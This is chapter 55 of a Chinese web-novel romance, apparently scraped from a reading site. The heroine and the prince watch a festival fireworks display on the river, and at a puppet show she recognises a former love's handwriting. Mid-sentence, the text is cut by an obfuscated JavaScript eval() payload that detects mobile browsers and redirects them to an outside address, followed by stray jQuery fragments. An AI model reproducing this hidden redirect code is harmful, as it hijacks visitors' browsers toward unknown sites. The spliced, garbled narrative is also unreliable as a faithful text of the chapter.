55. 第 55 章

作品:《为病弱太子冲喜后

    小舟轻摇,水面微微泛起波澜。


    江水中飘着无数河灯,灯火闪烁,似漫天飘渺的流萤。


    甄棠抱膝坐在小舟的舱室里,靠着船舷,目不转睛地看着用竹竿悠闲撑船之人。


    “你有没有什么事,瞒着我?”她试探性问道。


    倘若,倘若他能实话实说,告诉她真的见过顾淮清,或许她能稍稍释怀一些。


    她已经被迫嫁入了王府,在命运的河流中已经与他失散,即使逆水行舟,也不过是想再看一眼曾经那段年少绮梦。


    他应当是见过淮清的吧。


    否则他身上为何会沾染熟悉的熏香?


    她静静地望着景昭辰,想听他会如何回答。


    景昭辰眸光一暗,撑着竹竿的手顿了顿,随后轻轻划开水波:“朝朝怎会如此问?”


    甄棠看着江水荡漾,想了想,终于开口问他:“你有没有见过什么人?”


    须臾的沉默后,她听到了他的回答:“没有。”


    甄棠垂下眼睫。


    再度抬起时,她看向远处辽阔的水面,长久不再言语。


    “卖花嘞,卖花嘞,乞巧节送姑娘鲜花,一定得美人芳心哎!”


    一条装着半舱鲜花的小船飘飘悠悠划了过来,划船的是一位小少年,不停高声吆喝着。


    见到景昭辰和甄棠,他眼疾手快地划了过来,热情招呼着:“公子为夫人买枝花吗,都是方才从花圃里刚剪来的,有茉莉、杜鹃、红山茶等等。”


    景昭辰看向甄棠:“夫人喜欢哪一种?”


    甄棠愣了一下,这还是他头一次称呼自己为夫人,她用手托着腮,好奇地看向小少年:“今日是乞巧节,小公子为何不与心仪的姑娘一起游玩,在这里售花?”


    她容貌姣好,映着氤氲烛火更显国色,卖花的小少年脸一红,不好意思地挠了挠头:“俺没有心仪的姑娘,想趁着节庆人多,攒点钱托门路去投军。”


    “喔?你年岁不大,看不出竟有投军的抱负。”景昭辰感慨。


    小少年挽着袖子和裤腿,露着小麦色的肌肤,一脸昂扬:“那可不,俺要去鸣泉关打狄人,男子汉就要顶天立地,守家卫国!”


    鸣泉关。


    听到这三个字,甄棠忍不住看向那人。


    景昭辰似是眸光微动,转瞬又将情绪压了下来,只淡声道:“很久以前,也有人像你一样去过那里。”


    小少年从船板跳进船舱,抱起一大捧花:“去过那里?那这人后来呢?退伍了吗?”


    “后来他又回去了。”


    小少年摇了摇头:“俺读书少,听不懂弯弯绕,反正俺去了以后不把狄人打回去绝不回京,公子要买花吗,俺可以跟您打个折。”


    景昭辰看向甄棠:“夫人来选吧。”


    甄棠看着他怀中姹紫嫣红的花朵,最后选了一枝栀子。


    景昭辰接过栀子花,将一枚银子递了过去,小少年见到立马摆手:“一枝花两文钱,这太贵重了。”


    “就当是我祝你投军一路顺利。”景昭辰将银子凌空抛过去。


    小少年慌忙伸手接住,见他撑船要离开,小少年慌忙从船舱中拿出两幅面具,朝他高声喊:“公子等一下!”


    景昭辰停下来,回眸看他。


    “这是俺今日卖剩下的两幅面具,公子给俺这么多银子,这两个便送给公子和夫人,别嫌弃。”小少年站在船头,脸颊微红。


    他说着,用背后的绳子将两幅面具仔细扎好,抬手一扔,朝景昭辰抛了过来。


    景昭辰看着空中的弧线,淡然伸手,稳稳接住,随后点头表示谢意,便撑船离开。


    面具落在了甄棠手中,她费了些力气才解开绳子,一副是小龙、另一副好似是某个菩萨。


    甄棠属相是龙,她拿起那副面具好奇地在脸上比了比,大小刚刚合适,刚想让景昭辰也试一试,看到他划着船在西江正中停了下来。


    “怎么了?”甄棠看了看四周,没发现有什么异常。


    景昭辰放好竹竿,走到船舱中与甄棠并肩坐着,小心翼翼地为她系好面具后的绳子,将她被夜风吹乱的发丝整好。


    甄棠察觉到他有些异样,刚想问他,“砰!”夜幕中突然绽放一颗巨大的烟花!


    烟花是灿烂的嫣红色,在整个西江正中的天空上炸开,随后慢慢舒展,化成金色的流星徐徐降落。


    四周先是一片寂静,紧接着,此起彼伏的惊呼声、雀跃声骤然响起——


    “哇塞!是烟花是烟花!”


    “京畿府衙今年出手真阔绰,往年乞巧节从未放过烟花哎!”


    “今年是我朝百年国礼,圣上一定是想着放烟花与民同乐!”


    那颗烟花还未完全熄灭,紧接着,比方才更璀璨、更辉煌的烟花接连炸开三颗,映亮了半边夜幕和整个西江上空。


    烟火未落,随后有无数颗银色、金色的光束升上天空,光束爆开,荧荧烟火随风而散,似横亘天幕的银河坠落人间,与满江的河灯相映成辉。


    紧接着,各式各样的烟花在夜空下次第燃亮,整个天穹光焰万丈,灿烂夺目,一声接一声的爆开,四周的喧嚣、纷扰仿佛都被烟火覆盖,又随风落入尘世。


    甄棠从未见过如此盛大的场景,她左手还握着小龙面具覆在脸上,吃惊的睁大双眼,目不转睛地望着漫天四散的烟火。


    景昭辰看着她,一如她今日所说不知他从前是什么模样,景昭辰自己同样没有经历过甄棠的少时,他对“情”这个字没有太深的感触,所以他只能努力去设想,少女梦中的乞巧节应当是什么样子。


    他是一个无趣的俗人,没有光风霁月的风姿,有的,或许只是那么一点点权势和钱财。


    “朝朝。”他轻声唤她。


    甄棠侧过脸看他:“嗯?”


    烟火喧嚣中,她看到景昭辰薄唇动了动,好似说了什么,声音却被这场欢闹掩盖。


    “你说什么?”


    甄棠没有听清,向他靠近了一些,示意他再说一次。


    景昭辰垂眸看着贴过来的人,脸庞藏在面具下,只有红润的双唇和一双熠熠生辉的眼睛露在外面,烟花绽放,光影映入她的眸中,变成他生命中的万千星河。


    他默然


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118670|160181||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    片刻,伸手扣住她的后脑,隔着面具吻了上去。


    甄棠整个人怔住,这里是江水的中心,四周人声鼎沸无比喧嚣,他就这么吻了过来,全然不顾旁人的目光,似乎在向整个世间宣告他强势的占有欲。


    “这是我们的第一个乞巧节。”


    景昭辰离开了她的双唇,但有些恋恋不舍,抵着她的额头暗哑着嗓音说道。


    甄棠仍未从这场盛大的烟火中缓过神,隔着面具,她仿佛看透了一些景昭辰,又仿佛没有看透,她方才没有听清的那句话,终究还是随着烟火,散成漫天繁星。


    他在她额头上轻轻吻了一下,烟火快要落幕时,拿起竹竿,撑着小舟从西江中心划到一处码头,扶着甄棠上了岸。


    因那场烟火,岸边的人流比方才更多,景昭辰也戴上了那副菩萨面具,一手牵着甄棠沿着河岸往前走。


    “想不想看木偶戏,我记得前方有一个演木偶戏的小戏园,我幼时曾在那里看过几场,不知老人家还演不演。”景昭辰贴近了一些,向甄棠问。


    甄棠也起了好奇心:“木偶戏,好看吗?”


    “我幼时觉得好看,毕竟多年未曾再来,朝朝要不要陪我一同去看。”


    “好啊,我幼时只看过皮影戏,还从未见过木偶戏是什么模样。”


    甄棠被他牵着,在熙熙攘攘的人群中穿行而过,最后停在一处古朴的老宅子门前,门开着,门扉上挂着一个桃木牌匾,上面写着三个圆滚滚的字——桃花源记。


    甄棠饶有兴致地念了一遍,景昭辰笑道:“看来这位老人家仍童心未泯。”


    宅子并不大,二人穿过回廊便来到一块五丈见方的场地,摆了七八张小桌,每张小桌旁边有两把椅子,正对着场地的是一个不高不低的戏台,背景搭着彩色的戏布。


    景昭辰牵着甄棠在仅剩的位子落座,小厮随后上了热茶和几样果子、糕点,乐师调好了乐器,木偶师们调好了悬丝,一声锣响,悬丝木偶登场,咿咿呀呀的戏腔缓缓响起。


    甄棠听得饶有兴趣,这场戏叫《湘夫人》,讲述舜如何在娥皇女英的相助下,如何从凶悍卑劣的父母、族弟手中求生,最后继承尧的帝位,迎娶尧的两位女儿,也就是娥皇女英的传说故事。


    所谓传说故事,便是只能演到令众人皆大欢喜的结局便好,再往下演,就成了不合时宜。


    故事的最后,舜死于九嶷山下,娥皇女英泪染青竹,最终泪尽而死,人们为了祭奠二女,便将娥皇女英尊称为《湘夫人》。


    弦乐声声,木偶戏开始最后一场,报幕的悬丝木偶举着小木牌绕戏台一周,上面书写着这一场的戏份——《帝王娶亲》。


    景昭辰剥了一颗荔枝递到甄棠手边,她却迟迟未接,景昭辰抬眸看到她黛眉轻蹙,眸中满是不可思议,顺着她的目光看向戏台,他心中猛然一紧。


    小木牌上的字迹凌厉大气,风骨毕现。


    几乎与甄棠的字迹一模一样。


    可甄棠的字,是那个人所教。


    甄棠站起了身,目不转睛地望向那方小木牌。


    景昭辰一瞬间冰冷下来。